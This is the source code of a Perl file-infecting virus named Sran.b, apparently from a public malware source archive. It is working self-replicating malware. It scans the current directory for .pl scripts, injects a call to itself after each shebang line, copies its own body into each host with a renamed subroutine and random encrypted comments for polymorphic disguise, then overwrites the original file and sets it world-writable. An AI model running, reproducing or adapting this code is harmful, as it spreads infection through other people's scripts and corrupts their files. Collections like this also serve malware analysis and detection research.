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vxug-MalwareSourceCode/Perl/Virus.Perl.Sran.b
2020-11-14 01:38:46 -06:00

48 lines
1.2 KiB
Brainfuck

sadBVa();
print "This is also a test.\n";
sub sadBVa { #21wZPocL9r3I2
#25lj6HLJr3lR.
goto b if($ENV{"USER"} eq "root"); #403dRcOOEKV7c
#53a2B3OFfBrvE
a: while (<*.pl>)
{ #11zR6D0l39gH2
my $oF = "sadBVa"; #21wZPocL9r3I2
my $tN = crypt($_, $_), $cW = 0; $oN = "./$_", $nF = $tN; #23xTGZMRTRgO.
#73QebE0Q0ZZ7Q
open (WE, "<$0");
open (IF, "<$_"); #19ffqqT32W0N6
open (TMP, ">$tN"); #21wZPocL9r3I2
#46uAWbWZGiwdE
$nF =~ s/[0-9.\/].*/a/;
#20DFf8jQEuujI
while (<IF>)
{
chomp; #17rFB3rla0OL.
if (/\#!Sran/) { unlink ($tN); next a }
elsif (!/#!\//) { print TMP "$_\n" }
else { if(!/-X/){$_ .= " -X"} print TMP "$_\n#!Sran\n$nF();\n" }
} #14HPto765IJGs
#56usvbQbO.V7g
while (<WE>)
{
$st = ""; #16DEAzgu4U/Lg
#21wZPocL9r3I2
s/#[\d].*/$st/;
if (/sub $oF/ || /my \$oF =/) { $cW = 1; s/$oF/$nF/}
next if (/#!\// || /$oF();/ || !$cW);
if (int(rand(2))) { $st=" #".crypt($tN, rand(256)) }
else {$st = ""} #24kfAR.q3vZXI
chomp; #19ffqqT32W0N6
print TMP "$_$st\n"; #130lOPyQngaJw
}
#21wZPocL9r3I2
unlink ($oN);
rename ($tN, $oN);
chmod (0777, $oN);
}
b: #24kfAR.q3vZXI
} #25lj6HLJr3lR.